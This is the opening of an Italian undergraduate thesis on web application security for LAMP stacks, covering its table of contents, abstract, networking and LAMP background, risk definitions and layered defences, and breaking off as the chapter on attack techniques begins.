Sicurezza Informatica nello sviluppo di applicazioni web - INFN-LNF

Transcript

Sicurezza Informatica nello sviluppo di applicazioni web - INFN-LNF
Univesità di Roma Tor Vergata
Ingegneria dell’Informazione - Ind. Sistemi
Sicurezza Informatica
nello sviluppo di applicazioni web in L.A.M.P.
Emanuele Turella
Relatore:
Prof.ssa Berta Buttarazzi
Correlatori:
Dott.ssa Marina Candusso
Dott. Fabrizio Murtas
Anno Accademico 2004 / 2005
Sii il cambiamento che vuoi vedere
avvenire nel mondo
(Gandhi)
Ringraziamenti
Un grazie particolare alla mia famiglia
per avermi dato fiducia e la possibilità
di fare tutto questo.
Indice
Sommario
4
1 Concetti fondamentali
1.1 Le architetture distribuite . . . . . . . . . . .
1.1.1 La rete . . . . . . . . . . . . . . . . . .
1.1.2 L.A.M.P. . . . . . . . . . . . . . . . . .
1.2 Le applicazioni Web . . . . . . . . . . . . . .
1.3 Cosa intendiamo per sicurezza . . . . . . . . .
1.3.1 Vulnerabilità, minaccia e rischio . . . .
1.3.2 Le sicurezza su più livelli . . . . . . . .
1.3.3 Costo dei rischio e costo della sicurezza
2 Tecniche di attacco
2.1 Information gathering - Messaggi ed errori
2.2 Cross-Site scripting . . . . . . . . . . . . .
2.3 Cross-Site request forgiers . . . . . . . . .
2.4 SQL Injection . . . . . . . . . . . . . . . .
2.5 Parameter Tampering . . . . . . . . . . . .
2.6 Manipolazione degli header HTTP . . . .
2.7 Brute force . . . . . . . . . . . . . . . . .
2.8 Known vulnerabilities . . . . . . . . . . . .
2.9 Directory traversal e Path Disclosure . . .
2.10 Session Fixation . . . . . . . . . . . . . . .
2.11 Session hijacking . . . . . . . . . . . . . .
2.12 Cookie poisoning . . . . . . . . . . . . . .
2.13 Esecuzione di comandi di sistema . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
7
7
8
11
15
17
17
18
22
.
.
.
.
.
.
.
.
.
.
.
.
.
24
24
25
26
27
29
29
30
31
32
32
35
36
36
3 Tecniche specifiche per la difesa
37
3.1 INFN Forum . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
2
INDICE
3.2
3.3
3.4
3.5
3.6
3.7
3.8
3
3.1.1 Specifiche iniziali . . . . . . . . . . . . . . . . . .
Progettazione del Database . . . . . . . . . . . . . . . .
Linee guida . . . . . . . . . . . . . . . . . . . . . . . . .
Validazione dei dati . . . . . . . . . . . . . . . . . . . . .
3.4.1 Contromisure specifiche per... . . . . . . . . . . .
Sistema delle autorizzazioni . . . . . . . . . . . . . . . .
3.5.1 Controllo degli accessi . . . . . . . . . . . . . . .
3.5.2 Autenticazione . . . . . . . . . . . . . . . . . . .
Gestione delle sessioni . . . . . . . . . . . . . . . . . . .
3.6.1 Un esempio di autenticazione robusta . . . . . . .
Gestione degli errori . . . . . . . . . . . . . . . . . . . .
Riutilizzo del codice ed integrazione di prodotti affidabili
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
38
39
39
42
43
43
44
46
48
50
50
52
4 Conclusioni
54
Appendici
56
A Logging e gestione delle sessioni
56
B Validazione dei dati in input
60
C Autenticazione
71
Ringraziamenti
73
Bibliografia e Riferimenti
74
Bibliografia
74
Elenco delle figure
1.1
1.2
1.3
1.4
1.5
1.6
Rete locale con collegamento ad Internet . . . .
Modello OSI / ISO . . . . . . . . . . . . . . . .
Semplice schematizzazione dell’interazione client
Flusso dati di un web server con php . . . . . .
Applicazione web three-tier . . . . . . . . . . .
Rappresentazione estesa del client . . . . . . . .
.
.
.
.
.
.
9
10
13
14
16
20
2.1
Flow chart di un attacco session fixation . . . . . . . . . . . .
34
3.1
3.2
Struttura Entità-Relazioni della base di dati . . . . . . . . . .
Tabelle accessorie per lo sviluppo dell’applicazione . . . . . . .
40
41
4
. . . . . . .
. . . . . . .
- web server
. . . . . . .
. . . . . . .
. . . . . . .
Sommario
L’efficienza del Web sia come mezzo di divulgazione ché come mezzo di vendita
di prodotti e servizi è ormai nota a tutti. La rivoluzionaria affermazione di
questo nuovo strumento basato sull’elaborazione distribuita ha creato nuove
opportunità ma contestualmente ha esposto i dati, i sistemi e l’immagine dei
soggetti coinvolti.
Internet, però, è un mondo con le sue regole e accessibile a tutti: utenti inesperti ed inconsapevoli; gente che cerca di farsi un nome scoprendo
vulnerabilità, distruggendo dati e facendo soldi in modo illegale.
Se fino ad oggi le principali minacce alla sicurezza veniva dalla infrastruttura di rete e dai sistemi operativi, la diffusione delle applicazioni web ha creato nuovi quanto pericolosi obiettivi. Infatti, oltre alle conseguenze derivanti
dalla offerta di un servizio tramite web, si devono fronteggiare i rischi legati
al furto di informazioni e di indentità digitali od alla violazione delle banche
dati (vedi il furto dei numeri di carta di credito avvenuto solo poche settimane
fa).
Sfortunatamente non esistono dei rimedi nè delle tecniche tali da poter
rendere sicuro al 100% un servizio contro gli attacchi provenienti dall’esterno
ma, ciò nonostante, si può ancora operare per tenere lontani molti problemi.
In questa tesi si discutono le problematiche legate alla sicurezza provando
a concentrarsi sull’ottica del progettista e dello sviluppatore di software su
piattaforme distibuite.
Nella breve introduzione si farà una panoramica sufficientemente dettagliata dell’infrasfruttura distribuita con un accenno allo stato dell’arte nel
campo della sicurezza.
Nel secondo capitolo verranno presentate le tecniche di attacco in modo
tale da focalizzare i tipi di vulnerabilità che vengono sfruttate dagli attaccanti.
Nella terza parte verrà progettato e sviluppato un piccolissimo software
che adopereremo da esempio per studiare gli accorgimenti specifici, alcuni
5
ELENCO DELLE FIGURE
6
semplici ed altri più complicati, per assicurare un buon grado di sicurezza
senza influire in modo determinante sulla qualità del prodotto e del suo ’time
to market’.
Nell’ultimo capitolo vengono esposte alcune conclusioni a riguardo delle
problematiche analizzate e delle conoscenze acquisite con questo lavoro.
Capitolo 1
Concetti fondamentali
Ho avuto un’idea grandiosa, ma non mi è piaciuta
(Samuel Goldwyn)
Prima di iniziare a parlare di sicurezza nelle applicazioni web, vediamo
alcuni richiami e chiarimenti che possono risultare utili nella focalizzazione e
comprensione del problema che stiamo per affrontare.
Cerchiamo innanzitutto di capire da cosa è composta l’infrastruttura che
ospita i dati che tenteremo di proteggere cercando di dare alcune definizioni
per quanto riguarda l’architettura della rete, dei server e dei client, nonché
provando a chiarire il concetto di ’sicurezza informatica’.
Fissiamo fin da ora che l’applicazione web non è un unico blocco a se
stante, ma piuttosto un sistema complesso in cui un numero anche elevato di
componenti eterogenei interagiscono e collaborano al fine di fornire un servizio
o un prodotto agli utenti che ne fanno richiesta.
1.1
Le architetture distribuite
Solitamente si classifica come ’distribuitè tutte quelle architetture che non
rientrano nella classe di quelle centralizzate.
Come alternativa, per fare un po’ di chiarezza, le definiremo come quegli
impianti in cui sono presenti contemporaneamente:
1. più unità di tipo processore centrale
7
CAPITOLO 1. CONCETTI FONDAMENTALI
8
2. una ’computer network’
3. un software di sistema che gestisca l’impianto in modo da conferirgli le
seguenti proprietà:
• condivisione delle risorse
• apertura ad estensioni
• simultaneità operativa
• ampliabilità
• tolleranza ai guasti
• invisibilità
Sotto questa definizione rientrano alcuni sistemi anche molto diversi fra essi: sistemi di calcolo distribuito come Seti@Home e Prime95; sistemi paralleli
in rete; le reti peer-to-peer; sistemi client/server di cui ci stiamo interessando
in questa argomentazione.
1.1.1
La rete
La rete rappresenta il mezzo fondamentale in assenza del quale non potrebbe
esistere alcun sistema distribuito1 .
Le reti [5], o per esattezza, le computer network sono degli insiemi di
non trasparenti elaboratori autonomi, cioè tutti hanno le stesse funzioni e la
stessa libertà, interconnessi, vale a dire che tutti sono in grado di scambiarsi
messaggi secondo una stessa tecnologia. La trasparenza diversifica la rete da
un sistema distribuito. Quest’ultimo è composto da una rete in cui è presente
un software di gestione (sistema operativo o altra applicazione) che maschera
i singoli calcolatori. Per quanto riguarda invece l’omogeneità tecnologica della interconnessione, essa contraddistingue una rete da una inter-rete, cioè
quell’apparato costituito da reti tecnologicamente diverse che sono in grado
di colloquiare fra loro solo tramite dei gateway che effettuano la traduzione
dei messaggi provenienti da una rete e diretti verso l’altra secondo le caratteristiche proprie di ciascuna. Secondo le definizioni date Internet (con la
’i’ maiuscola) è una rete particolare: si tratta della inter-rete che a livello
mondiale può collegare tutte le reti.
1
secondo la definizione data in precedenza
CAPITOLO 1. CONCETTI FONDAMENTALI
9
Per poter ottenere tutto questo abbiamo bisogno sia di una portante
adeguata (filo rameico, tratta radio, fibra ottica) in base alle dimensioni ed
alle caratteristiche della net, sia di un sistema standard di comunicazione,
identificabile nei protocolli.
Figura 1.1: Rete locale con collegamento ad Internet
La figura1.1 ci mostra i collegamenti fisici che mettono in lan2 , e collegano
ad internet, alcuni host. Questi ultimi, collegati tramite hub e switch, comunicano inviandosi pacchetti informativi composti rispettando quanto stabilito
dai protocolli di comunicazione fissati.
Per la complessità di funzionamento delle moderne reti di calcolatori, il
software ha una enorme importanza e, come per la struttura fisica, è estremamente articolato e organizzato, in modo da facilitare la progettazione,
l’implementazione ed il testing.
Gli strati (layer) in cui esso è suddiviso, sono costruiti l’uno sopra il precente, a partire dallo strato fisico, per arrivare allo strato dell’applicazione.
Lo scopo di ogni livello è quello di creare una gerarchia di protocolli che offrano dei servizi allo strato superiore nascondendo i dettagli implementativi.
In particolare:
• lo strato n si una macchina comunica logicamente con lo strato n di
una macchina vicina ;
2
Local Area Network
CAPITOLO 1. CONCETTI FONDAMENTALI
10
• le regole e le convenzioni della suddetta comunicazione sono definite
protocollo di livello n ;
• le entità logiche che portano avanti una comunicazione, dette peer entity, di livello n, sfruttano i servizi offerti dalle peer entity dello strato
inferiore, secondo una determinata interfaccia.
La figura 1.2 mostra la logica della comunicazione fra due host chiarificando
il signicato e la locazione di livello, protocollo ed interfaccia.
La pila di livelli riportata in precedenza, con i relativi protocolli prende
il nome di ’architettura di retè. Le architetture che hanno avuto il maggior
successo si suddividono in due modelli: OSI/ISO e Internet (o TCP/IP).
Figura 1.2: Modello OSI / ISO
Il primo di questi (figura 1.2) è uno standard de iure3 , prodotto dall’ISO,
che si compone di sette strati caratterizzati da una forte suddivisione delle
funzioni.
Senza abbondare in dettagli possiamo dire che i primi quattro strati sono
orientati verso il mezzo fisico, cioè si occupano della trasmissione vera e propria, della gestione delle interferenze, della suddivisione e ricostruzione del
3
di diritto
CAPITOLO 1. CONCETTI FONDAMENTALI
11
carico informativo. Questi quattro strati, da soli, sono sufficienti per la gestione ed il controllo del canale. I tre strati più alti invece sono orientati agli
applicativi. Essi hanno il compito di ottimizzare l’uso della linea, controllare
la congestione, presentare il flusso dati all’ultimo livello in cui risiedono le
applicazini di rete (http, ftp, smtp...).
Il modello TCP/IP, sul quale si base la moderna Internet, è uno standard
de facto4 che nasce dalla rete militare ARPAnet. Conseguenze di queste sue
origini sono l’estrema robustezza verso gli attacchi ed i malfunzionamenti,
l’apertura a molti tipi di applicazioni di rete e la capacità di interagire con
altre tecnologie costruttive.
Gli strati in questo modello sono solo quattro: host-to-network raggruppa
i primi due livelli OSI e non ha funzioni definite; ip (il terzo livello ISO)
calcola il routing e gestisce le congestioni; trasporto mette in comunicazione
gli host tramite servizio con e senza connessione; applicazione, paragonabile
agli ultimi tre livelli iso.
1.1.2
L.A.M.P.
LAMP è l’acronimo che indica il Linux+Apache+MySql+PHP.
Con queste quattro lettere si intende una particolare combinazione si software di sistema che d’ora in poi, insieme alla rete sopra descritta sarà la
piattaforma di riferimento di questa tesi.
Questa combinazione è costituita da:
• linux, un sistema operativo multiprocess e multitask che oggigiorno
è ampiamente utilizzato nei server di dimensioni medie e piccole a
tecnologia IBM x86 ;
• un web server, Apache, che ha conquistato circa il 50% del mercato ;
• un rdbms, relational database management system, MySql ;
• il PHP, un linguaggio di scripting completamente orientato alla programmazione nel web.
La caratteristica saliente che accomuna tutti i componenti sta nel fatto che sono ’Open Source’, cioè freeware coperti da licenza GPL. Seppure
4
di fatto, in quanto ampiamente utilizzati
CAPITOLO 1. CONCETTI FONDAMENTALI
12
tutto potrebbe sembrare inefficiente e poco sicuro, in realtà, essendo progettati, sviluppati e testati da una comunità molto vasta garantiscono un livello
di efficienza, prestazioni e sicurezza elevato e certamente comparabile con i
prodotti commerciali più noti.
Linux
Linux è comparso nel 1991 come progetto personale di studio delle funzionalità di multiprogrammazione dei microprocessori i386 da parte di Linus
Torvalds, all’epoca studente presso l’Università di Helsinki, in Finlandia. Partendo dal sistema Minix, creò un kernel che rilasciò sotto licenza GNU-GPL,
che rappresenta la difesa ideale per un software di pubblico dominio.
Apache
Sviluppato dalla Apache Software Foundation, è oggigiorno il web server più
diffuso: stabile e sicuro, supporta l’integrazione con i principali rdbms e con
diversi linguaggi di programmazione, inoltre è facilmente espandibile grazie
alla gran quantità di moduli dalle funzioni più disparate.
Trascurando i moduli di autenticazione ed altre estensioni, il server web
è un programma che si occupa di ascoltare un canale di comunicazione per
intercettare una richiesta da servire secondo lo schema in figura 1.3.
Figura 1.3: Semplice schematizzazione dell’interazione client - web server
Il client, utilizzando un browser, lancia una messaggio di richiesta http,
contenente la URL5 , attraverso il collegamento di rete al web server. Questo,
5
Uniform Resource Location
CAPITOLO 1. CONCETTI FONDAMENTALI
13
catturata la richiesta, risponde, sempre attraverso il protocollo http, con una
pagina html con il contenuto informativo desiderato dal client.
MySQL
Le basi di dati (cit. [6]) sono dei contenitori atti a immagazzinare dati,
strutturati o meno. In effetti una base di dati è definita da un insieme di regole
che specificano il modo in cui lo stream informativo debba essere registrato.
MySQL è un RDBMS, cioè un sistema di gestione di basi di dati relazionali. Esso si occupa, da un lato di gestire la struttura e la coerenza dei file
su disco, e dall’altro si rispondere alle interrogazioni che l’utente o un’applicazione gli pongono secondo un linguaggio di interrogazione standard (SQL,
Standard Query Language.
MySQL è in grado di gestire database in diversi formati. I principali sono
sono:
• myISAM, implementazione dei B-alberi, è il formato nativo ed include
molti tool di ottimizzazione e backup ;
• innoDB, supporta le transazioni e le foreign keys ;
• BerkeleyDB, con supporto per le transazioni ma poco flessibilie con
basse prestazini.
PHP
PHP è l’acronimo ricorsivo di Hypertext Preprocessor, attualmente è uno dei
linguaggi web più diffusi su internet che permette di creare da semplici script
fino ad interi portali dinamici. PHP è un linguaggio interpretato, nato da
un progetto della Apache Software Foundation, l’interprete che ne costituisce
il cuore è proprietà della Zend inc. (www.zend.com) che ne distribuisce i
sorgenti gratuitamente.
Esso consente di realizzare velocemente pagine a continuti dinamici, grazie
al supporto nativo con i singoli rdbms ed anche alla numerosità delle funzioni
built-in e delle librerie reperibili in modo gratuito.
La figura 1.4 mostra i passaggi seguiti dal server per rispondere alla
richiesta di un client.
All’arrivo della richiesta (1) il server esegue un controllo sull’URL e decide
se prelevare una pagina HTML statica (2) oppure se eseguire uno script per la
CAPITOLO 1. CONCETTI FONDAMENTALI
Figura 1.4: Flusso dati di un web server con php
14
CAPITOLO 1. CONCETTI FONDAMENTALI
15
generazione di una pagina dinamica (3). In questa ultima eventualità il codice
viene passato al PHP preprocessor che lo esegue, con eventuali richieste al
server SQL (5, 6, 7) ed ai file systems, e genera in output una pagina statica
(8). La pagina finale (prelevata dal file system o generata dallo script) viene
restituita in risposta al client (9).
Il successo di questo linguaggio deriva a pari merito da tre fattori:
• Efficienza: punto di forza è proprio la velocità dell’interprete nella valutazione degli script, la Zend fornisce a pagamento un ’pre-interpretè
in grado di migliorare ulteriormente questa caratteristica.
• Portabilità: utilizzando piccoli accorgimenti PHP è in grado di funzionare su diverse piattaforme (Windows32, Unix, Mac OS X, AS/400...)
ed è in grado di appoggiarsi indifferentemente a diversi web server
(Apache, Microsoft IIS, Xitami, OpenHTTPd, ecc...) sfruttando l’interfaccia CGI (Common Gateway Inferface).
• Accesso a basso livello: permette di accedere a basso livello all’architettura web sottostante, come per esempio la possibilità di modificare
manualmente gli header del protocollo HTTP, accesso alle primitive
di sistema, funzioni per gestire socket, ecc...
1.2
Le applicazioni Web
A partire dal primo Congresso Web tenutosi a Ginevra nel 1994 è iniziata
ad affermarsi l’esigenza di rendere il web dinamico. L’HTML di per se è
statico, permette al massimo di inserire in una pagina un’immagine, una
colonna sonora oppure uno spezzone video. L’HTML non è un linguaggio
di programmazione ma solo di formattazione dei contenuti, permettendo di
controllare come un testo comparirà nella finestra del browser.
Brevemente una ’applicazione web’ è un software, eseguito dall’application
server di un web server, che produce dinamicamente pagine html secondo le
richieste degli utenti e degli altri sistemi della rete.
Le funzioni svolte da questo tipo di software possono andare dalla semplice ricerca e fruizione di un file in una directory a delle applicazioni estremamente sofisticate che eseguono in tempo reale vendite, tenuta del magazzino,
registrazione di dati finanziari.
CAPITOLO 1. CONCETTI FONDAMENTALI
16
Anche le tecnologie che sono alle spalle di questi software sono estremamente varie: dal semplice script fino ad un complicato programma in linguaggio di alto livello che interagisce con diverse risorse dati localizzate su sistemi
ed in modi diversi.
A causa di tali caratteristiche le applicazioni sono estremamente disomogenee, e non permettono alcuna tassonomia o ricerca. L’unica analisi che può
essere realizzata è uno studio del tutto generale a riguardo della struttura
interna del software.
Figura 1.5: Applicazione web three-tier
Cosı̀ come è mostrato in figura 1.5 l’applicazione può essere scomposta in
tre layer: di presentazione, logico e dati.
Il primo stato, più esterno, gestito dal web server, si occupa della presentazione dei dati, strutturandoli e formattandoli in una GUI6 tramite un
linguaggio interpretabile dal browser (o da un generico client), tipicamente
html oppure xml.
Il layer logico è il vero nucleo dell’applicazione. In esso si concentra l’implementazione degli algoritmi, sia quelli funzionali all’offerta del servizio, sia
quelli accessori, come per esempio il controllo di sicurezza. Capita, però, che
questo strato sia talmente sottile da poterlo inglobare nel presentation layer oppure, al contrario, sia cosı̀ complesso da dover essere diviso in diverse
sezioni cooperanti fra loro che si occupano di compiti molto specifici.
L’ultimo strato, non meno importante, svolge la funzione di storing dei
dati: database, file e archivi.
6
Graphic User Interface
CAPITOLO 1. CONCETTI FONDAMENTALI
1.3
17
Cosa intendiamo per sicurezza
La sicurezza informatica è la tutela del sistema informativo dalla violazione
da parte di persone non autorizzate al fine di garantire confidenzialità, autenticità, integrità e disponibilità dei dati.
Sebbene questa definizione sia chiara e concisa, in realtà, la sicurezza
con è una caratteristica assoluta ma una misura che si tenta si massimizzare
valutando attentamente l’equilibrio fra costo del rischio e costo della difesa.
Bisogna rendersi conto che, come insegna l’ingegneria del software ormai
da qualche anno, un programma ‘zero risk’ è, oltre che irrealizzabile, inutile,
in quanto implica un costo di progettazione, sviluppo e testing decisamente
maggiore del costo, inteso come perdita di profitto o di immagine, che si
avrebbe nel caso di intrusione o manipolazione del sistema. Si segue, in
definitiva, il ”principio del minimo rischio” (o del minimo costo, se visto dal
lato manageriale).
1.3.1
Vulnerabilità, minaccia e rischio
Si è detto che un sistema può incorrere in dei rischi, può essere affetto da vulnerabilità, può essere minacciato, senza chiarire il significato con il quale stiamo adoperando ciascun termine. Il significato specifico non è molto diverso
dal quello che comunemente assegnamo a tali parole.
Una vulnerabilità, o falla, come si sente dire in spesso, è la caratteristica di un componente, o di un sistema nella sua interezza, per cui risulta
suscettibile a particolari situazioni che portano al guasto, spesso improvviso,
del componente stesso o di un altro che si trova rapporto collaborativo con
quello fallato.
La minaccia è la causa che scatena il guasto di cui si è appena detto.
Essa deriva marginalmente da problemi di implementazione, specialmente se
cooperativa o in team, ed in larga misura da comportamenti anomali degli
utenti. Fra questi ultimi dobbiamo fare distinzione fra: gli hacker, beta tester
esperti della materia che tentano di stressare il sistema al fine di migliorarlo
oppure di aumentare il loro grado di conoscenza; i cracker, che sfruttano le
stesse tecniche e gli stessi strumenti degli hacker ma con fine personale spesso
illegale fra cui non manca la frode, lo spionaggio industriale, la concussione; i
phraker, raramente esperti, utilizzano tool freeware e tutorial reperibili nella
rete per divertimento personale.
CAPITOLO 1. CONCETTI FONDAMENTALI
18
Il rischio è la probabilità che una falla sia incontrata (o scoperta) da
una minaccia, associata all’intenzione di sfruttarla per trarne un vantaggio.
Possiamo ipotizzare che maggiore sarà il vantaggio, maggiori saranno gli sforzi
per trovare le vulnerabilità, o meglio, il rischio è tanto più elevato quanto più
hanno valore i dati che tentiamo di proteggere.
Sottolineiamo, un ultima volta, che non stiamo parlando di caratteristiche
assolute (booleane) ma di una misura relativa, di un grado di proprietà.
La relazione fra queste parole è decisamente più chiara quando la poniamo
in formato (ingegneristico) di equazione:
vulnerabilità + minaccia = rischio
Un rischio si riscontra solo nel caso in cui il sistema, affetto da punti di
vulnerabilità, diventa oggetto di interesse di una minaccia. Inoltre, il livello
di rischio è proporzionale al numero di falle ed al numero di attaccanti.
1.3.2
Le sicurezza su più livelli
Come detto in principio e ribadito numerose volte, tentiamo di proteggere una
mole di informazioni a gestite da un sistema, accessibili solo ed esclusivamente
da un gruppo definito e limitato di utenti, e posizionati in una architettura
aperta (ed esposta) all’intero pianeta.
Dovendo scomporre il sistema in un albero funzionale (l’abbiamo visto
nei paragrafi precedenti), non possiamo applicare una politica di sicurezza
generale concentrata in un’unico punto ma siamo costretti a progettare ed
implementare un checkpoint ad-hoc per ogni sottosistema, fino ad arrivare
ai nodi estremi, cioè i singoli componenti. Seguendo il percorso temporale
degli ultimi tre decenni, applicheremo un controllo sulla rete, poi sul sistema
operativo e sul web server, alla fine implementeremo dei check di sicurezza
sulla applicazione web. Ovviamente ci sono casi in cui le misure di sicurezza
influenzano contemporaneamente più componenti, come ad es. i firewall che
eseguono controlli sia sull’host/ip di destinazione o sorgente e sull’applicazioni
che li genera o riceve.
Stiamo tralasciando la sicurezza dell’host client ma, posto che questa tesi
non concerne questo argomento, supponiamo che essa sia banale e limitata
all’aggiornamento dei client ed all’installazione di programmi freeware (non
meno potenti di quelli commerciali) che in real-time mantengano una politica
CAPITOLO 1. CONCETTI FONDAMENTALI
19
minima sul PC dell’utente: firewall (sia traffico in entrata ché in uscita), antivirus (per backdoor e keylogger), anti-scripting (controllo di codice javascipt
malizioso), anti-spam (per email in html contenente javascript).
Ovviamente tralasciamo anche un fattore estremamente importante: quello umano. Diamo per scontato, insomma, che il generico utente (e magari anche l’amministratore e lo sviluppatore/tester) non tenga username/password
memorizzate in auto-login o stampate a caratteri ben leggibili e incollati dove
un visitatore qualsiasi le possa vedere, anche solo per caso. E neppure che
risponda a chiunque gli chieda dei parametri di autenticazione (ad es. per
email falsificata, alcuni siti web ne permettono l’invio in modo facilissimo ed
indiscriminato) senza eseguire un controllo (ad es. telefonata di conferma).
A livello di rete
Già da questo livello è possibile portare attacchi al programma. Ad es. inviando traffico fasullo forgiato ad-hoc per mandare in panne un router oppure
un server DNS.
Sebbene i puristi ricorrono ancora a diverse ore davanti ad un terminale
telnet, per controllare le porte note in cerca di qualche debolezza di una
macchina, ed impieghino alcune settimane per scrivere lo script dell’attacco,
sono gratuiti e numerosi i port-scanner e si riescono a reperire dei tool per il
testing di vulnerabilità note.
La china di figura 1.6 mostra la protezione standard che si applica ad
alla lan aziendale per prevenire attacchi dall’esterno. Questa potrebbe essere
anche una ottima struttura difensiva per un host/rete client.
Il traffico in entrata/uscita passa attraverso un unico nodo protetto da
un proxy e da un firewall (essendo su LAMP si possono adoperare Squid ed
IPtables). Sulla stessa piattaforma potrebbero essere presenti i server (web,
file, printer). Il firewall si occupa di filtrare i pacchetti applicando regole
di sicurezza ai livelli non superiori al quarto: ad esempio chiudendo tutte
le porte, ad esclusione della 80, e canalizzando (tunneling) le porte rilevanti
(ftp, pop e imap, vnc, x-server...) sulla porta SSH. Il proxy si occupa sia
dell’applicazione delle regole ai livelli più alti (ad es. controllo del contenuto)
sia di un eventuale mascheramento dell’ip del client (natting e/o semplice
caching delle risorse richieste).
Questa topologia (con controllo centralizzato in uno o pochi nodi) in grado
di segmentare logicamente la rete separando i sistemi interni (considerati
CAPITOLO 1. CONCETTI FONDAMENTALI
20
Figura 1.6: Rappresentazione estesa del client
di fiducia) da quelli esterni accessibili al pubblico che, in quanto privi di
tale fiducia, devono rimanere isolati, prende il nome di firewalling della zona
perimetrale o DMZ, De-Militarized Zone. Essa è una soluzione valida (e poco
dispendiosa) per tutte le reti di medie/grosse dimensioni oppure per le reti in
cui l’accesso ad internet è effettuato da un solo PC con condivisione/bridging
della connessione.
Naturalmente l’esistenza di una DMZ non rappresenta da sola una garanzia
sufficiente ma deve essere accompagnata dalla presenza di adeguati dispositivi
di controllo degli accessi (router e firewall) in modo tale da: bloccare tutto
il traffico UDP e TCP non strettamente necessario; bloccare tutte le connessioni TCP che traggono origine dallo stesso server Web; bloccare il traffico
tra il server Web e la rete interna.
Oltre alla parte di bassissimo livello è il caso di fare un remark a riguardo
dei protocolli di livello applicativo ed in particolare di HyperText Transfert
Protocol.
HTTP/0.9, che potremmo definire ‘versione originale’, è stato concepito
dal CERN nel 1990 con lo scopo di creare un area dove inserire/duplicare/eliminare documenti di qualunque tipo (in genere testo piatto o formattato
ed un set minimo di feature multimediali). Esso non prevedeva (se non in
modo primordiale) il surfing, che è alla base del successo del Web.
CAPITOLO 1. CONCETTI FONDAMENTALI
21
HTTP odierno (cit. [18]), versione 1.1, è il risultato di un grosso lavoro di
adattamento (iniziato con la versione 1.0 e ancora non concluso pienamente)
per deviare HTTP/0.9 verso una piattaforma dove potessero essere eseguiti
programmi complessi che il mercato chiedeva con sempre maggiore insistenza. Questo processo è sfociato in un prodotto decisamente lacunoso in parte
rimediato da patch e accorgimenti (alle volte strutturali).
A livello di sistema operativo
In linea generale il percorso che un aggressore tenta di seguire nell’attacco di
un sistema può essere riassunto nel modo seguente:
1. accesso al sistema attraverso l’esecuzione di exploit, lo sfruttamento
di condizioni di buffer overflow in script e programmi, la cattura o
l’intercettazione del file delle password, gli attacchi a forza bruta;
2. scalata dei privilegi e/o impersonificazione degli utenti con privilegi amministrativi attraverso il crack delle password e/o l’esecuzione di exploit
successivi;
3. occultamento delle tracce tramite la cancellazione dei logs, l’uso di
rootkits e lo sfruttamento di particolari caratteristiche del sistema operativo;
4. installazione di backdoors cioè di programmi nascosti che aprono all’aggressore delle porte senza restrizioni con la possibilità di controllare il
sistema in qualsiasi momento;
Il sistema operativo può avere un impatto significativo nella predisposizione e nel mantenimento dei giusti livelli di sicurezza sotto i seguenti
profili:
1. assenza di vulnerabilità note nei confronti di tipologie conosciute di
attacco;
2. capacità di limitare determinati tipi di attività soltanto ad alcuni utenti;
3. abilità nel rimuovere e disabilitare servizi e risorse non necessari;
4. abilità nel controllare l’uso e l’accesso alle varie risorse e nel registrare
la varie attività degli utenti;
5. facilità di gestione ma non a discapito della sicurezza;
CAPITOLO 1. CONCETTI FONDAMENTALI
22
A livello di applicazione
Abbiamo ben definito (vedi figure 1.4 e 1.6) l’ambiente e l’infrastruttura sulla
quale seguiremo il nostro studio e la nostra discussione. Adesso che abbiamo
posto in sicurezza i livelli più bassi del sistema dobbiamo concentrarci sugli
strati alti, che (per il punto di vista di questa tesi) sono il punto di accesso
centrale di tutto il sistema.
Nei prossimi capitoli si illustreranno in modo teorico ed alle volte pratico
le tecniche di attacco, spiegando in quali punti si concentrano le vulnerabilità.
In eseguito verrà progettata e realizzata una applicazione cercando quel punto
di equilibrio fra costo e beneficio al quale il cliente fa riferimento.
1.3.3
Costo dei rischio e costo della sicurezza
A fronte della possibilità di proteggere i nostri dati, cerchiamo di capire,
sotto il punto di vista manageriale, quale possa essere il grado di sicurezza
che il progetto richiede: ipotizziamo a tal fine che il livello di sicurezza da
preventivare dipenda solo dal valore dei dati, trascurando altri fattori di per sé
minori. Teniamo in considerazione inoltre che un eccessivo livello di sicurezza
rende il prodotto finale poco usabile: immaginiamo il caso in cui una login
richieda tre password, oppure l’inserimento di una codice di controllo ogni
quarto d’ora.
Diamo per scontate le basilari regole dell’ingegneria del software per cui
apportare delle modifiche al progetto in fase di sviluppo implica un costo
che non è trascurabile. Inoltre il processo di progettazione dell’applicazione
è ciclico.
Affrontando un progetto per la realizzazione di un servizio basato su tecnologia Internet, sono di primaria importanza l’analisi della riservatezza delle
informazioni trattate e l’identificazione di quale sia il corretto livello di sicurezza da realizzare. Chiaramente, il costo dell’infrastruttura di sicurezza
è intimamente legato al livello di affidabilità che si vuole raggiungere; dare
specifiche di tutela troppo stringenti se comparate alla riservatezza dei dati
contenuti nel sistema può comportare uno spreco di risorse superiore al danno potenziale del furto delle informazioni stesse. E’ quindi sempre necessario
relazionare lo sforzo economico previsto con il potenziale danno.
Capitolo 2
Tecniche di attacco
La scienza è sempre imperfetta. Ogni volta che risolve
un problema ne crea almeno dieci nuovi
(George Bernard Shaw)
Un ispezione sommaria del codice, fatta da un programmatore anche esperto, non può rilevare i problemi e le falle di sicurezza dell’applicazione. Da
una parte infatti, il testing manuale non può contemplare tutte le sequenze di input, e soprattutto non si pensa mai ad eseguire delle manipolazioni
dell’applicazione per testarne la risposta. D’altro canto, i tool di testing automatizzati, non essendo progettati per una applicazione specifica, ma per
una classe poco disomogenea di programmi, non possono assicurarci nulla.
Quindi per capire come bloccare un attacco bisogna preventivamente
capire in cosa consiste questo attacco, quali vulnerabilità sfrutta e in quali
componenti sono situate tali falle.
2.1
